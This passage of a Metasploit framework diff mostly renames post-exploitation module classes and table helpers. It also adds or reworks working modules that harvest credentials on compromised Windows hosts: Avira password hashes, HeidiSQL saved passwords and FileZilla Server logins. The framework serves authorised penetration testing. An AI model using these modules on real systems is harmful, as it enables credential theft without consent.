'c_ADS_UF_NOT_DELEGATED INTEGER,'\ + 'c_ADS_UF_USE_DES_KEY_ONLY INTEGER,'\ + 'c_ADS_UF_DONT_REQUIRE_PREAUTH INTEGER,'\ + 'c_ADS_UF_PASSWORD_EXPIRED INTEGER,'\ + 'c_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION INTEGER,'\ + 'c_SAM_DOMAIN_OBJECT INTEGER,'\ + 'c_SAM_GROUP_OBJECT INTEGER,'\ + 'c_SAM_NON_SECURITY_GROUP_OBJECT INTEGER,'\ + 'c_SAM_ALIAS_OBJECT INTEGER,'\ + 'c_SAM_NON_SECURITY_ALIAS_OBJECT INTEGER,'\ + 'c_SAM_NORMAL_USER_ACCOUNT INTEGER,'\ + 'c_SAM_MACHINE_ACCOUNT INTEGER,'\ + 'c_SAM_TRUST_ACCOUNT INTEGER,'\ + 'c_SAM_APP_BASIC_GROUP INTEGER,'\ + 'c_SAM_APP_QUERY_GROUP INTEGER,'\ + 'c_SAM_ACCOUNT_TYPE_MAX INTEGER)' + db.execute(sql_table_computers) + + # Create the table for the AD Groups + db.execute('DROP TABLE IF EXISTS ad_groups') + sql_table_group = 'CREATE TABLE ad_groups ('\ + 'g_rid INTEGER PRIMARY KEY NOT NULL,'\ + 'g_distinguishedName TEXT UNIQUE NOT NULL,'\ + 'g_sAMAccountType INTEGER,'\ + 'g_sAMAccountName TEXT UNIQUE NOT NULL,'\ + 'g_groupType INTEGER,'\ + 'g_adminCount INTEGER,'\ + 'g_description TEXT,'\ + 'g_comment TEXT,'\ + 'g_cn TEXT,'\ + 'g_managedBy TEXT,'\ + 'g_whenChanged TEXT,'\ + 'g_whenCreated TEXT,'\ + 'g_GT_GROUP_CREATED_BY_SYSTEM INTEGER,'\ + 'g_GT_GROUP_SCOPE_GLOBAL INTEGER,'\ + 'g_GT_GROUP_SCOPE_LOCAL INTEGER,'\ + 'g_GT_GROUP_SCOPE_UNIVERSAL INTEGER,'\ + 'g_GT_GROUP_SAM_APP_BASIC INTEGER,'\ + 'g_GT_GROUP_SAM_APP_QUERY INTEGER,'\ + 'g_GT_GROUP_SECURITY INTEGER,'\ + 'g_GT_GROUP_DISTRIBUTION INTEGER,'\ + 'g_SAM_DOMAIN_OBJECT INTEGER,'\ + 'g_SAM_GROUP_OBJECT INTEGER,'\ + 'g_SAM_NON_SECURITY_GROUP_OBJECT INTEGER,'\ + 'g_SAM_ALIAS_OBJECT INTEGER,'\ + 'g_SAM_NON_SECURITY_ALIAS_OBJECT INTEGER,'\ + 'g_SAM_NORMAL_USER_ACCOUNT INTEGER,'\ + 'g_SAM_MACHINE_ACCOUNT INTEGER,'\ + 'g_SAM_TRUST_ACCOUNT INTEGER,'\ + 'g_SAM_APP_BASIC_GROUP INTEGER,'\ + 'g_SAM_APP_QUERY_GROUP INTEGER,'\ + 'g_SAM_ACCOUNT_TYPE_MAX INTEGER)' + db.execute(sql_table_group) + + # Create the table for the AD Users + db.execute('DROP TABLE IF EXISTS ad_users') + sql_table_users = 'CREATE TABLE ad_users ('\ + 'u_rid INTEGER PRIMARY KEY NOT NULL,'\ + 'u_distinguishedName TEXT UNIQUE NOT NULL,'\ + 'u_description TEXT,'\ + 'u_displayName TEXT,'\ + 'u_sAMAccountType INTEGER,'\ + 'u_sAMAccountName TEXT,'\ + 'u_logonCount INTEGER,'\ + 'u_userAccountControl INTEGER,'\ + 'u_primaryGroupID INTEGER,'\ + 'u_cn TEXT,'\ + 'u_adminCount INTEGER,'\ + 'u_badPwdCount INTEGER,'\ + 'u_userPrincipalName TEXT UNIQUE,'\ + 'u_comment TEXT,'\ + 'u_title TEXT,'\ + 'u_manager TEXT,'\ + 'u_whenCreated TEXT,'\ + 'u_whenChanged TEXT,'\ + 'u_ADS_UF_SCRIPT INTEGER,'\ + 'u_ADS_UF_ACCOUNTDISABLE INTEGER,'\ + 'u_ADS_UF_HOMEDIR_REQUIRED INTEGER,'\ + 'u_ADS_UF_LOCKOUT INTEGER,'\ + 'u_ADS_UF_PASSWD_NOTREQD INTEGER,'\ + 'u_ADS_UF_PASSWD_CANT_CHANGE INTEGER,'\ + 'u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED INTEGER,'\ + 'u_ADS_UF_TEMP_DUPLICATE_ACCOUNT INTEGER,'\ + 'u_ADS_UF_NORMAL_ACCOUNT INTEGER,'\ + 'u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT INTEGER,'\ + 'u_ADS_UF_WORKSTATION_TRUST_ACCOUNT INTEGER,'\ + 'u_ADS_UF_SERVER_TRUST_ACCOUNT INTEGER,'\ + 'u_ADS_UF_DONT_EXPIRE_PASSWD INTEGER,'\ + 'u_ADS_UF_MNS_LOGON_ACCOUNT INTEGER,'\ + 'u_ADS_UF_SMARTCARD_REQUIRED INTEGER,'\ + 'u_ADS_UF_TRUSTED_FOR_DELEGATION INTEGER,'\ + 'u_ADS_UF_NOT_DELEGATED INTEGER,'\ + 'u_ADS_UF_USE_DES_KEY_ONLY INTEGER,'\ + 'u_ADS_UF_DONT_REQUIRE_PREAUTH INTEGER,'\ + 'u_ADS_UF_PASSWORD_EXPIRED INTEGER,'\ + 'u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION INTEGER,'\ + 'u_SAM_DOMAIN_OBJECT INTEGER,'\ + 'u_SAM_GROUP_OBJECT INTEGER,'\ + 'u_SAM_NON_SECURITY_GROUP_OBJECT INTEGER,'\ + 'u_SAM_ALIAS_OBJECT INTEGER,'\ + 'u_SAM_NON_SECURITY_ALIAS_OBJECT INTEGER,'\ + 'u_SAM_NORMAL_USER_ACCOUNT INTEGER,'\ + 'u_SAM_MACHINE_ACCOUNT INTEGER,'\ + 'u_SAM_TRUST_ACCOUNT INTEGER,'\ + 'u_SAM_APP_BASIC_GROUP INTEGER,'\ + 'u_SAM_APP_QUERY_GROUP INTEGER,'\ + 'u_SAM_ACCOUNT_TYPE_MAX INTEGER)' + db.execute(sql_table_users) + + # Create the table for the mapping between the two (membership) + db.execute('DROP TABLE IF EXISTS ad_mapping') + sql_table_mapping = 'CREATE TABLE ad_mapping ('\ + 'user_rid INTEGER NOT NULL,' \ + 'group_rid INTEGER NOT NULL,'\ + 'PRIMARY KEY (user_rid, group_rid),'\ + 'FOREIGN KEY(user_rid) REFERENCES ad_users(u_rid)'\ + 'FOREIGN KEY(group_rid) REFERENCES ad_groups(g_rid))' + db.execute(sql_table_mapping) + + # Create the view for the AD User/Group membership + db.execute('DROP VIEW IF EXISTS view_mapping') + sql_view_mapping = 'CREATE VIEW view_mapping AS SELECT ad_groups.*,ad_users.* FROM ad_mapping '\ + 'INNER JOIN ad_groups ON ad_groups.g_rid = ad_mapping.group_rid '\ + 'INNER JOIN ad_users ON ad_users.u_rid = ad_mapping.user_rid' + db.execute(sql_view_mapping) + + return db, filename + + rescue SQLite3::Exception => e + print_error("Error(Database): #{e.message}") + return + end + end + + def get_rid(data) + sid = data.unpack("bbbbbbbbV*")[8..-1] + sid[-1] + end +end diff --git a/modules/post/windows/gather/arp_scanner.rb b/modules/post/windows/gather/arp_scanner.rb index ba5abff56d..101967b452 100644 --- a/modules/post/windows/gather/arp_scanner.rb +++ b/modules/post/windows/gather/arp_scanner.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb index adfafd3529..767fd5660c 100644 --- a/modules/post/windows/gather/bitcoin_jacker.rb +++ b/modules/post/windows/gather/bitcoin_jacker.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb index 03406d82a0..a3841f3e74 100644 --- a/modules/post/windows/gather/bitlocker_fvek.rb +++ b/modules/post/windows/gather/bitlocker_fvek.rb @@ -1,6 +1,6 @@ require 'rex/parser/fs/bitlocker' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Windows::Error include Msf::Post::Windows::ExtAPI diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index f5eebd432c..4e39d98cfb 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry @@ -271,7 +271,7 @@ class Metasploit3 < Msf::Post def run - @credentials = Rex::Ui::Text::Table.new( + @credentials = Rex::Text::Table.new( 'Header' => "MSCACHE Credentials", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/checkvm.rb b/modules/post/windows/gather/checkvm.rb index 51de3c6061..9499d21457 100644 --- a/modules/post/windows/gather/checkvm.rb +++ b/modules/post/windows/gather/checkvm.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/credentials/avira_password.rb b/modules/post/windows/gather/credentials/avira_password.rb new file mode 100644 index 0000000000..9bd64e1c55 --- /dev/null +++ b/modules/post/windows/gather/credentials/avira_password.rb @@ -0,0 +1,60 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'rex/parser/ini' + + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::Registry + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Avira Password Extraction', + 'Description' => %q{ + This module extracts the weakly hashed password + which is used to protect a Avira Antivirus (<= 15.0.17.273) installation. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Robert Kugler / robertchrk'], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def run + print_status("Checking default location...") + check_programdata("C:\\ProgramData\\Avira\\Antivirus\\CONFIG\\AVWIN.INI") + end + + def check_programdata(path) + begin + client.fs.file.stat(path) + print_status("Found file at #{path}") + get_ini(path) + rescue + print_status("#{path} not found ....") + end + end + + def get_ini(filename) + config = client.fs.file.new(filename, 'r') + parse = Rex::Text.to_ascii(config.read) + ini = Rex::Parser::Ini.from_s(parse) + + if ini == {} + print_error("Unable to parse file") + return + end + + print_status("Processing configuration file...") + passwd = ini["COMMON"]['Password'] + passwd = passwd.delete "\"" + print_good("MD5(Unicode) hash found: #{passwd}") + print_good("Info: Password length is limited to 20 characters.") + end + +end diff --git a/modules/post/windows/gather/credentials/bulletproof_ftp.rb b/modules/post/windows/gather/credentials/bulletproof_ftp.rb index 20c23ca6c3..7164765493 100644 --- a/modules/post/windows/gather/credentials/bulletproof_ftp.rb +++ b/modules/post/windows/gather/credentials/bulletproof_ftp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::File @@ -290,7 +290,7 @@ class Metasploit3 < Msf::Post end # Report / Show findings - @credentials = Rex::Ui::Text::Table.new( + @credentials = Rex::Text::Table.new( 'Header' => "BulletProof FTP Client Bookmarks", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/credentials/coreftp.rb b/modules/post/windows/gather/credentials/coreftp.rb index b2be541cdb..2b87c81d3c 100644 --- a/modules/post/windows/gather/credentials/coreftp.rb +++ b/modules/post/windows/gather/credentials/coreftp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles diff --git a/modules/post/windows/gather/credentials/credential_collector.rb b/modules/post/windows/gather/credentials/credential_collector.rb index e58c2a2020..8563952718 100644 --- a/modules/post/windows/gather/credentials/credential_collector.rb +++ b/modules/post/windows/gather/credentials/credential_collector.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index a90b6d3ac1..c14811d26a 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/auxiliary/report' require 'metasploit/framework/ntds/parser' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/credentials/dyndns.rb b/modules/post/windows/gather/credentials/dyndns.rb index f1ce358a57..19a0c1c337 100644 --- a/modules/post/windows/gather/credentials/dyndns.rb +++ b/modules/post/windows/gather/credentials/dyndns.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report @@ -123,13 +123,13 @@ class Metasploit3 < Msf::Post # def do_report(data) - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => 'DynDNS Client Data', 'Indent' => 1, 'Columns' => ['Field', 'Value'] ) - creds = Rex::Ui::Text::Table.new( + creds = Rex::Text::Table.new( 'Header' => 'DynDNS Credentials', 'Indent' => 1, 'Columns' => ['User', 'Password'] diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb index 3a745ee044..a0b9658d85 100644 --- a/modules/post/windows/gather/credentials/enum_cred_store.rb +++ b/modules/post/windows/gather/credentials/enum_cred_store.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super(update_info(info, @@ -178,14 +178,25 @@ class Metasploit3 < Msf::Post credentials = [] #call credenumerate to get the ptr needed adv32 = session.railgun.advapi32 - ret = adv32.CredEnumerateA(nil,0,4,4) - p_to_arr = ret["Credentials"].unpack("V") - if is_86 - count = ret["Count"] - arr_len = count * 4 + begin + ret = adv32.CredEnumerateA(nil,0,4,4) + rescue Rex::Post::Meterpreter::RequestError => e + print_error("This module requires WinXP or higher") + print_error("CredEnumerateA() failed: #{e.class} #{e}") + ret = nil + end + if ret.nil? + count = 0 + arr_len = 0 else - count = ret["Count"] & 0x00000000ffffffff - arr_len = count * 8 + p_to_arr = ret["Credentials"].unpack("V") + if is_86 + count = ret["Count"] + arr_len = count * 4 + else + count = ret["Count"] & 0x00000000ffffffff + arr_len = count * 8 + end end #tell user what's going on diff --git a/modules/post/windows/gather/credentials/enum_laps.rb b/modules/post/windows/gather/credentials/enum_laps.rb index 9a6f9595cc..f33149ee5e 100644 --- a/modules/post/windows/gather/credentials/enum_laps.rb +++ b/modules/post/windows/gather/credentials/enum_laps.rb @@ -7,7 +7,7 @@ require 'rex' require 'msf/core' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::Windows::LDAP @@ -75,11 +75,11 @@ class Metasploit3 < Msf::Post # the database if datastore option STORE_DB is true. # # @param [Array>] the LDAP query results to parse - # @return [Rex::Ui::Text::Table] the table containing all the result data + # @return [Rex::Text::Table] the table containing all the result data def parse_results(results) laps_results = [] # Results table holds raw string data - results_table = Rex::Ui::Text::Table.new( + results_table = Rex::Text::Table.new( 'Header' => 'Local Administrator Password Solution (LAPS) Results', 'Indent' => 1, 'SortIndex' => -1, diff --git a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb index 8d7e09e1f8..a7d4f67fe3 100644 --- a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb +++ b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Post::Windows::Priv @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Post username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 'GaiaEmail') || '' password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 'GaiaPass') || '' - credentials = Rex::Ui::Text::Table.new( + credentials = Rex::Text::Table.new( 'Header' => "Picasa Credentials", 'Indent' => 1, 'Columns' => diff --git a/modules/post/windows/gather/credentials/epo_sql.rb b/modules/post/windows/gather/credentials/epo_sql.rb index 7abf8eb39a..fd8df3bf25 100644 --- a/modules/post/windows/gather/credentials/epo_sql.rb +++ b/modules/post/windows/gather/credentials/epo_sql.rb @@ -8,7 +8,7 @@ require 'rex' require 'net/dns/resolver' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index 4fd3ca037e..c991528a91 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'rexml/document' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File @@ -37,38 +37,61 @@ class Metasploit3 < Msf::Post return end - @progs = "#{session.sys.config.getenv('ProgramFiles')}\\" + progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432') + locations = [] + progfiles_env.each do |k, v| + next if v.blank? + locations << v + "\\FileZilla Server\\" + end - filezilla = check_filezilla + keys = [ + "HKLM\\SOFTWARE\\FileZilla Server", + "HKLM\\SOFTWARE\\Wow6432Node\\FileZilla Server", + ] + + keys.each do |key| + begin + root_key, base_key = session.sys.registry.splitkey(key) + value = session.sys.registry.query_value_direct(root_key, base_key, "install_dir") + rescue Rex::Post::Meterpreter::RequestError => e + vprint_error(e.message) + next + end + locations << value.data + "\\" + end + + locations = locations.uniq + filezilla = check_filezilla(locations) get_filezilla_creds(filezilla) if filezilla end - def check_filezilla + def check_filezilla(locations) paths = [] - path = @progs + "FileZilla Server\\" - - print_status("Checking for Filezilla Server directory in: #{path}") - begin - session.fs.dir.entries(path) + locations.each do |location| + print_status("Checking for Filezilla Server directory in: #{location}") + begin + session.fs.dir.foreach("#{location}") do |fdir| + ['FileZilla Server.xml','FileZilla Server Interface.xml'].each do |xmlfile| + if fdir == xmlfile + filepath = location + xmlfile + print_good("Configuration file found: #{filepath}") + paths << filepath + end + end + end + rescue Rex::Post::Meterpreter::RequestError => e + vprint_error(e.message) + end + end rescue ::Exception => e print_error(e.to_s) return end - session.fs.dir.foreach(path) do |fdir| - ['FileZilla Server.xml','FileZilla Server Interface.xml'].each do |xmlfile| - if fdir == xmlfile - filepath = path + xmlfile - vprint_status("Configuration file found: #{filepath}") - paths << filepath - end - end - end - if !paths.empty? - print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") + print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{session.sid}") print_line return paths end @@ -80,7 +103,7 @@ class Metasploit3 < Msf::Post def get_filezilla_creds(paths) fs_xml = "" # FileZilla Server.xml - Settings for the local install fsi_xml = "" # FileZilla Server Interface.xml - Last server used with the interface - credentials = Rex::Ui::Text::Table.new( + credentials = Rex::Text::Table.new( 'Header' => "FileZilla FTP Server Credentials", 'Indent' => 1, 'Columns' => @@ -92,7 +115,7 @@ class Metasploit3 < Msf::Post "SSL" ]) - permissions = Rex::Ui::Text::Table.new( + permissions = Rex::Text::Table.new( 'Header' => "FileZilla FTP Server Permissions", 'Indent' => 1, 'Columns' => @@ -112,7 +135,7 @@ class Metasploit3 < Msf::Post "Home" ]) - configuration = Rex::Ui::Text::Table.new( + configuration = Rex::Text::Table.new( 'Header' => "FileZilla FTP Server Configuration", 'Indent' => 1, 'Columns' => @@ -127,7 +150,7 @@ class Metasploit3 < Msf::Post "SSL Key Password" ]) - lastserver = Rex::Ui::Text::Table.new( + lastserver = Rex::Text::Table.new( 'Header' => "FileZilla FTP Last Server", 'Indent' => 1, 'Columns' => @@ -160,7 +183,7 @@ class Metasploit3 < Msf::Post session.db_record ? (source_id = session.db_record.id) : (source_id = nil) service_data = { - address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + address: session.session_host, port: config['ftp_port'], service_name: 'ftp', protocol: 'tcp', @@ -189,7 +212,7 @@ class Metasploit3 < Msf::Post # Merge in the service data and create our Login login_data.merge!(service_data) - login = create_credential_login(login_data) + create_credential_login(login_data) end perms.each do |perm| @@ -201,13 +224,12 @@ class Metasploit3 < Msf::Post session.db_record ? (source_id = session.db_record.id) : (source_id = nil) # report the goods! - if config['ftp_port'] == "" + if config['admin_pass'] == "" vprint_status("Detected Default Adminstration Settings:") - config['ftp_port'] = "21" else vprint_status("Collected the following configuration details:") service_data = { - address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + address: session.session_host, port: config['admin_port'], service_name: 'filezilla-admin', protocol: 'tcp', @@ -235,7 +257,7 @@ class Metasploit3 < Msf::Post # Merge in the service data and create our Login login_data.merge!(service_data) - login = create_credential_login(login_data) + create_credential_login(login_data) end vprint_status(" FTP Port: #{config['ftp_port']}") @@ -249,31 +271,33 @@ class Metasploit3 < Msf::Post configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'], config['admin_pass'], config['ssl'], config['ssl_certfile'], config['ssl_keypass']] + begin + lastser = parse_interface(fsi_xml) + lastserver << [lastser['ip'], lastser['port'], lastser['password']] + vprint_status("Last Server Information:") + vprint_status(" IP: #{lastser['ip']}") + vprint_status(" Port: #{lastser['port']}") + vprint_status(" Password: #{lastser['password']}") + vprint_line - lastser = parse_interface(fsi_xml) - lastserver << [lastser['ip'], lastser['port'], lastser['password']] - - vprint_status("Last Server Information:") - vprint_status(" IP: #{lastser['ip']}") - vprint_status(" Port: #{lastser['port']}") - vprint_status(" Password: #{lastser['password']}") - vprint_line - - p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv, + rescue + vprint_error("Could not parse FileZilla Server Interface.xml") + end + loot_path = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv, "filezilla_server_credentials.csv", "FileZilla FTP Server Credentials") - print_status("Credentials saved in: #{p.to_s}") + print_status("Credentials saved in: #{loot_path}") - p = store_loot("filezilla.server.perms", "text/csv", session, permissions.to_csv, + loot_path = store_loot("filezilla.server.perms", "text/csv", session, permissions.to_csv, "filezilla_server_permissions.csv", "FileZilla FTP Server Permissions") - print_status("Permissions saved in: #{p.to_s}") + print_status("Permissions saved in: #{loot_path}") - p = store_loot("filezilla.server.config", "text/csv", session, configuration.to_csv, + loot_path = store_loot("filezilla.server.config", "text/csv", session, configuration.to_csv, "filezilla_server_configuration.csv", "FileZilla FTP Server Configuration") - print_status(" Config saved in: #{p.to_s}") + print_status(" Config saved in: #{loot_path}") - p = store_loot("filezilla.server.lastser", "text/csv", session, lastserver.to_csv, + loot_path = store_loot("filezilla.server.lastser", "text/csv", session, lastserver.to_csv, "filezilla_server_lastserver.csv", "FileZilla FTP Last Server") - print_status(" Last server history: #{p.to_s}") + print_status(" Last server history: #{loot_path}") print_line end @@ -289,16 +313,16 @@ class Metasploit3 < Msf::Post begin doc = REXML::Document.new(data).root - rescue REXML::ParseException => e + rescue REXML::ParseException print_error("Invalid xml format") end opt = doc.elements.to_a("Settings/Item") if opt[1].nil? # Default value will only have a single line, for admin port - no adminstration settings settings['admin_port'] = opt[0].text rescue "" - settings['ftp_port'] = "" + settings['ftp_port'] = 21 else - settings['ftp_port'] = opt[0].text rescue "" + settings['ftp_port'] = opt[0].text rescue 21 settings['admin_port'] = opt[16].text rescue "" end settings['admin_pass'] = opt[17].text rescue "" @@ -321,17 +345,14 @@ class Metasploit3 < Msf::Post end settings['ftp_bindip'] = "0.0.0.0" if settings['ftp_bindip'] == "*" || settings['ftp_bindip'].empty? - if settings['ssl'] == "1" - settings['ssl'] = "true" - else - if datastore['SSLCERT'] - print_error("Cannot loot the SSL Certificate, SSL is disabled in the configuration file") - end - settings['ssl'] = "false" + settings['ssl'] = settings['ssl'] == "1" + if !settings['ssl'] && datastore['SSLCERT'] + print_error("Cannot loot the SSL Certificate, SSL is disabled in the configuration file") end settings['ssl_certfile'] = items[45].text rescue "" - if settings['ssl_certfile'] != "" and settings['ssl'] == "true" and datastore['SSLCERT'] # lets get the file if its there could be useful in MITM attacks + # Get the file if it is there. It could be useful in MITM attacks + if settings['ssl_certfile'] != "" && settings['ssl'] and datastore['SSLCERT'] sslfile = session.fs.file.new(settings['ssl_certfile']) until sslfile.eof? sslcert << sslfile.read @@ -386,7 +407,7 @@ class Metasploit3 < Msf::Post account['host'] = settings['ftp_bindip'] account['port'] = settings['ftp_port'] - account['ssl'] = settings['ssl'] + account['ssl'] = settings['ssl'].to_s creds << account vprint_status(" Username: #{account['user']}") @@ -413,15 +434,23 @@ class Metasploit3 < Msf::Post begin doc = REXML::Document.new(data).root - rescue REXML::ParseException => e + rescue REXML::ParseException print_error("Invalid xml format") + return lastser end opt = doc.elements.to_a("Settings/Item") - lastser['ip'] = opt[0].text rescue "" - lastser['port'] = opt[1].text rescue "" - lastser['password'] = opt[2].text rescue "" + opt.each do |item| + case item.attributes['name'] + when /Address/ + lastser['ip'] = item.text + when /Port/ + lastser['port'] = item.text + when /Password/ + lastser['password'] = item.text + end + end lastser['password'] = "" if lastser['password'].nil? diff --git a/modules/post/windows/gather/credentials/flashfxp.rb b/modules/post/windows/gather/credentials/flashfxp.rb index efb320bb2d..8fe7912e4b 100644 --- a/modules/post/windows/gather/credentials/flashfxp.rb +++ b/modules/post/windows/gather/credentials/flashfxp.rb @@ -8,7 +8,7 @@ require 'rex' require 'rex/parser/ini' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/credentials/ftpnavigator.rb b/modules/post/windows/gather/credentials/ftpnavigator.rb index 55c98131a2..b5ab541420 100644 --- a/modules/post/windows/gather/credentials/ftpnavigator.rb +++ b/modules/post/windows/gather/credentials/ftpnavigator.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report diff --git a/modules/post/windows/gather/credentials/ftpx.rb b/modules/post/windows/gather/credentials/ftpx.rb index 0423d9d277..8fec8928ec 100644 --- a/modules/post/windows/gather/credentials/ftpx.rb +++ b/modules/post/windows/gather/credentials/ftpx.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex' require 'rexml/document' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Windows::UserProfiles def initialize(info={}) diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index ba0bacb968..548591ceed 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' require 'rex/parser/group_policy_preferences' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report include Msf::Post::File include Msf::Post::Windows::Priv diff --git a/modules/post/windows/gather/credentials/heidisql.rb b/modules/post/windows/gather/credentials/heidisql.rb new file mode 100644 index 0000000000..2b9d262719 --- /dev/null +++ b/modules/post/windows/gather/credentials/heidisql.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/auxiliary/report' + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::Registry + include Msf::Auxiliary::Report + include Msf::Post::Windows::UserProfiles + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Gather HeidiSQL Saved Password Extraction', + 'Description' => %q{ + This module extracts saved passwords from the HeidiSQL client. These + passwords are stored in the registry. They are encrypted with a custom algorithm. + This module extracts and decrypts these passwords. + }, + 'License' => MSF_LICENSE, + 'Author' => ['h0ng10'], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + def print_error(msg='') + super("#{peer} - #{msg}") + end + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + def run + userhives=load_missing_hives() + userhives.each do |hive| + next if hive['HKU'].nil? + print_status("Looking at Key #{hive['HKU']}") + begin + subkeys = registry_enumkeys("#{hive['HKU']}\\Software\\HeidiSQL\\Servers") + if subkeys.blank? + print_status("HeidiSQL not installed for this user.") + next + end + + service_types = { 0 => 'mysql', + 1 => 'mysql-named-pipe', + 2 => 'mysql-ssh', + 3 => 'mssql-named-pipe', + 4 => 'mssql', + 5 => 